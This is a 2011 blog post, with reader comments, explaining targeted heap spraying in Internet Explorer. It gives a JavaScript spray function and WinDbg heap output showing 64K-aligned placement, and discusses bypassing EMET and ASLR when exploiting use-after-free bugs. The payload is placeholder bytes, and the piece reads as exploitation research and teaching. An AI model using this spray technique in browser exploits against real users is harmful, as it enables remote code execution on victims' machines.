Monday, August 29, 2011

Targeted Heap Spraying – 0x0c0c0c0c is a Thing of the Past

Traditionally, heap spraying has relied upon spraying with 0x0C0C0C0C followed by shellcode which serves as both an address in the heap and a series of nops. This however is not extremely reliable. You have to be lucky enough to not land on a heap header or somewhere in your shellcode. Additionally, the latest version of EMET now prevents the execution of address 0x0C0C0C0C or any other arbitrary address specified in the registry. While this is a futile attempt to prevent heap spraying, it will require another method to reliably execute shellcode in the heap. Rather, there is a method that allows you to reliably allocate shellcode that is both in a predictable location and memory page-aligned (64K-aligned).

It turns out that allocations in Javascript of at least 512K are allocated using VirtualAlloc, which returns addresses that are page aligned (i.e. in the form of 0xXXXX0000). I credit Alexander Sotirov with this discovery as I learned this technique from him. There are many ways to place shellcode in the heap but string allocations are the tried and true heap allocation primitive in javascript. The format of a javascript string on the heap is as follows:

[string length - 4 bytes][Unicode encoded string][\x00\x00]

The following diagram illustrates a string’s layout in memory:
Therefore, any javascript string will be 6 bytes long plus the length of the Unicode encoded string. Also, heap chunks allocated with VirtualAlloc are 0x20 bytes in length. As a result, shellcode allocated through VirtualAlloc will always reside at offset 0x24. Also, because each allocation results in a 64K-aligned address, we can make a series of string allocations that equal exactly 64K. That way, the start of our shellcode will always be located at an address of the form (0xXXXX0024).

The following javascript code takes advantage of these concepts by allocating an array of sixteen 64K strings (i.e. 1 megabyte).  Note the sixteenth allocation accounts for the size of the heap header and string length so that exactly one megabyte gets allocated. The resultant array is then allocated one hundred times resulting in an allocation of exactly 100MB.

function heapspray() {
    var shellcode = "\u4141";

    while (shellcode.length < 100000)
        shellcode = shellcode + shellcode;

    var onemeg = shellcode.substr(0, 64*1024/2);

    for (i=0; i<14; i++) {
        onemeg += shellcode.substr(0, 64*1024/2);

    onemeg += shellcode.substr(0, (64*1024/2)-(38/2));

    var spray = new Array();

    for (i=0; i<100; i++) {
        spray[i] = onemeg.substr(0, onemeg.length);
<input type="button" value="Spray the heap" onclick="heapspray()"></input>

Run the javascript code above and follow along with the following analysis in WinDbg. Start by viewing the addresses of the heaps in Internet Explorer:

!heap -stat

_HEAP 00360000
     Segments            00000001
         Reserved  bytes 00100000
         Committed bytes 000f1000
     VirtAllocBlocks     00000001
         VirtAlloc bytes 035f0000
_HEAP 035b0000
     Segments            00000001
         Reserved  bytes 00040000
         Committed bytes 00019000
     VirtAllocBlocks     00000000
         VirtAlloc bytes 00000000
_HEAP 00750000
     Segments            00000001
         Reserved  bytes 00040000
         Committed bytes 00012000
     VirtAllocBlocks     00000000
         VirtAlloc bytes 00000000
_HEAP 00270000
     Segments            00000001
         Reserved  bytes 00010000
         Committed bytes 00010000
     VirtAllocBlocks     00000000
         VirtAlloc bytes 00000000
_HEAP 02e20000
     Segments            00000001
         Reserved  bytes 00040000
         Committed bytes 00001000
     VirtAllocBlocks     00000000
         VirtAlloc bytes 00000000
_HEAP 00010000
     Segments            00000001
         Reserved  bytes 00010000
         Committed bytes 00001000
     VirtAllocBlocks     00000000
         VirtAlloc bytes 00000000

Look at the “VirtAlloc bytes” field for a heap with a large allocation. The heap address we’re interested in is the first one – “_HEAP 00360000”

Next, view the allocation statistics for that heap handle:

!heap -stat -h 00360000

 heap @ 00360000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    fffe0 65 - 64ff360  (99.12)
    40010 1 - 40010  (0.25)
    1034 10 - 10340  (0.06)
    20 356 - 6ac0  (0.03)
    494 16 - 64b8  (0.02)
    5ba0 1 - 5ba0  (0.02)
    5e4 b - 40cc  (0.02)
    4010 1 - 4010  (0.02)
    3980 1 - 3980  (0.01)
    d0 3e - 3260  (0.01)
    460 b - 3020  (0.01)
    1800 2 - 3000  (0.01)
    800 6 - 3000  (0.01)
    468 a - 2c10  (0.01)
    2890 1 - 2890  (0.01)
    78 52 - 2670  (0.01)
    10 215 - 2150  (0.01)
    1080 2 - 2100  (0.01)
    2b0 c - 2040  (0.01)
    2010 1 - 2010  (0.01)

Our neat and tidy allocations really stand out here. There are exactly 0x65 (101 decimal) allocations of size 0xfffe0 (1 MB minus the 20 byte heap header).

A nice feature of WinDbg is that you can view heap chunks of a particular size. The following command lists all the heaps chunks of size 0xfffe0.

!heap -flt s fffe0

    _HEAP @ 360000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        037f0018 1fffc fffc  [00]   037f0020    fffe0 - (busy VirtualAlloc)
        038f0018 1fffc fffc  [00]   038f0020    fffe0 - (busy VirtualAlloc)
        039f0018 1fffc fffc  [00]   039f0020    fffe0 - (busy VirtualAlloc)
        03af0018 1fffc fffc  [00]   03af0020    fffe0 - (busy VirtualAlloc)
        03bf0018 1fffc fffc  [00]   03bf0020    fffe0 - (busy VirtualAlloc)
        05e80018 1fffc fffc  [00]   05e80020    fffe0 - (busy VirtualAlloc)
        05f80018 1fffc fffc  [00]   05f80020    fffe0 - (busy VirtualAlloc)
        06080018 1fffc fffc  [00]   06080020    fffe0 - (busy VirtualAlloc)
        06180018 1fffc fffc  [00]   06180020    fffe0 - (busy VirtualAlloc)
        0aa80018 1fffc fffc  [00]   0aa80020    fffe0 - (busy VirtualAlloc)
        0ab80018 1fffc fffc  [00]   0ab80020    fffe0 - (busy VirtualAlloc)
        0ac80018 1fffc fffc  [00]   0ac80020    fffe0 - (busy VirtualAlloc)
        0ad80018 1fffc fffc  [00]   0ad80020    fffe0 - (busy VirtualAlloc)
        0ae80018 1fffc fffc  [00]   0ae80020    fffe0 - (busy VirtualAlloc)
        0af80018 1fffc fffc  [00]   0af80020    fffe0 - (busy VirtualAlloc)
        0b080018 1fffc fffc  [00]   0b080020    fffe0 - (busy VirtualAlloc)
        0b180018 1fffc fffc  [00]   0b180020    fffe0 - (busy VirtualAlloc)
        0b280018 1fffc fffc  [00]   0b280020    fffe0 - (busy VirtualAlloc)
        0b380018 1fffc fffc  [00]   0b380020    fffe0 - (busy VirtualAlloc)
    _HEAP @ 10000
    _HEAP @ 270000
    _HEAP @ 750000
    _HEAP @ 2e20000
    _HEAP @ 35b0000

Note how each allocation is allocated in sequential order.

Now that we have the addresses of each heap chunk we can start to inspect memory for our 0x41’s:

0:007> db 06b80000
06b80000  00 00 c8 06 00 00 a8 06-00 00 00 00 00 00 00 00  ................
06b80010  00 00 10 00 00 00 10 00-61 65 15 29 00 00 00 04
06b80020  da ff 0f 00 41 41 41 41-41 41 41 41 41 41 41 41  ....AAAAAAAAAAAA
06b80030  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
06b80040  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
06b80050  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
06b80060  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
06b80070  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

You can clearly see the string length at offset 0x20 – 000fffda which is the length of the string minus the null terminator.

Another way to analyze your heap allocations is through the fragmentation view of VMmap – one of many incredibly useful tools in the Sysinternals suite. The following image shows an allocation of 1000MB. Within the fragmentation view you can zoom in and click on individual allocations and confirm that each heap allocation (in orange) begins at an address in the form of 0xXXXX0000.

So why is this technique so useful? This method of heap spraying is perfect when exploiting use-after-free vulnerabilities where an attacker can craft fake objects and vtable structures. A fake vtable pointer can then point to an address in the heap range – 0x11F50024 just as an example. Thus, there is no need to rely upon nops and no need to worry about EMET’s arbitrary prevention of executing 0x0C0C0C0C-style addresses. For all intents and purposes, you’ve completely bypassed ASLR protections.


  1. Thanks for the writeup. Does heaplib have a different header? IIRC heapLib uses HeapAlloc instead of VirtualAlloc, and the start of each chunk begins at offset 0x48 (including the length field), which is different than the 0x20 offset like you described.

  2. There will be a different header depending upon whether HeapAlloc decides to use the backend allocator - FreeList or VirtualAlloc or the frontend allocator - lookaside list (XP) or low fragmentation heap (Vista/Win 7). This decision comes down to the size of the allocation, the availability of free blocks, etc. If the requested allocation is >= 512 KB, HeapAlloc will essentially bypass the backend allocator and call VirtualAlloc directly. You can confirm all of this in a debugger.

    Heaplib doesn't use a certain library function over another. It has no way of doing that directly. Instead, like in my post, it declares strings in Javascript which get allocated in the default process heap. Again, the details of how the strings get allocated on the back end depends upon the size of the string. Alexander Sotirov mentions this in his Heap Feng Shui talk.

    I hope that answered your question.

  3. Thanks! Yep, that clears things up a lot for me :-)

  4. "Note the sixteenth allocation accounts for the size of the heap header and string length so that exactly one megabyte gets allocated."

    should be:

    "Note the sixteenth allocation accounts for the size of the heap header + string length + unicode NULL terminator so that exactly one megabyte gets allocated."


  5. >>> header = 0x20
    >>> stringlen = 0x4
    >>> unicodenull = 0x2
    >>> print header+stringlen+unicodenull

  6. Absolutely. I should have been more specific. That may have been a source of confusion. Thanks for bringing that to everyone's attention. :D

  7. np, and tx for an awesome blog ;)

  8. Actually, this technique is not reliable (or I've missed something). The 1MB blocs will always be correctly allocated at addresses in the form of 0xXXXX0000, but by running the script you provide, I've seen that the first part of those addresses is not always the same.

    Here's the output of "!heap -flt s fffe0" for different runs :
    _HEAP @ 150000
    HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
    05990018 1fffc 0000 [0b] 05990020 fffe0 - (busy VirtualAlloc)
    057a0018 1fffc fffc [0b] 057a0020 fffe0 - (busy VirtualAlloc)
    0c7f0018 1fffc fffc [0b] 0c7f0020 fffe0 - (busy VirtualAlloc)
    0c900018 1fffc fffc [0b] 0c900020 fffe0 - (busy VirtualAlloc)
    _HEAP @ 150000
    HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
    05a80018 1fffc 0000 [0b] 05a80020 fffe0 - (busy VirtualAlloc)
    05890018 1fffc fffc [0b] 05890020 fffe0 - (busy VirtualAlloc)
    0c810018 1fffc fffc [0b] 0c810020 fffe0 - (busy VirtualAlloc)
    0c920018 1fffc fffc [0b] 0c920020 fffe0 - (busy VirtualAlloc)

    So as you can see, the addresses change, and we cannot rely on them for our exploit :/
    But thanks for this very interesting article, and please correct my if I'm wrong.

  9. This technique doesn't guarantee where the first heap chunk will actually land. What it will ensure is that a contiguous block of shellcode will be allocated at addresses of the form 0xXXXX0000 as can be seen in the output you provided. The starting address of the first heap chuck depends on the memory usage of your browser at that snapshot in time. The key is to determine the right balance in terms of how much you spray and deciding on a landing spot somewhere in-between. In the output you provided, the most reliable address would be somewhere in the middle of the overlap of your addresses. So in your case, a page on or around 0x091D0000 would probably be a happy medium. Let me know if that doesn't make sense.

  10. You're right, this technique only allows us to do heap spraying and to approximate the landing place in the allocated blocs.

    But with DEP, we cannot directly jump into our payload, and so I was trying to do "precise heap spraying" with this technique, which I didn't manage to achieve because of the problem mentioned above.

    It would be nice to find a way to "force" allocation at a given address, or to predict one.

  11. This technique only attempts to tackle ASLR. However, if you can leverage a vulnerability that can get your shellcode into the stack via a stack pivot, you have a reliable location where a rop chain can be stored. There is no panacea to exploitation these days with all the exploit mitigation techniques. This is merely an arrow in the quiver.

  12. Hello,

    Why are you taking in account the header of virtualloc for this line :

    onemeg += shellcode.substr(0, (64*1024/2)-(38/2));

    And not for the other allocation ?

    1. Because I'm accounting for the padding for the last page of memory. The 38 accounts for the header and null padding at the end of the string. If that wasn't there, a portion of the string (38 bytes) would run into the next memory page and cause a misalignment when new block are allocated in the heap spray.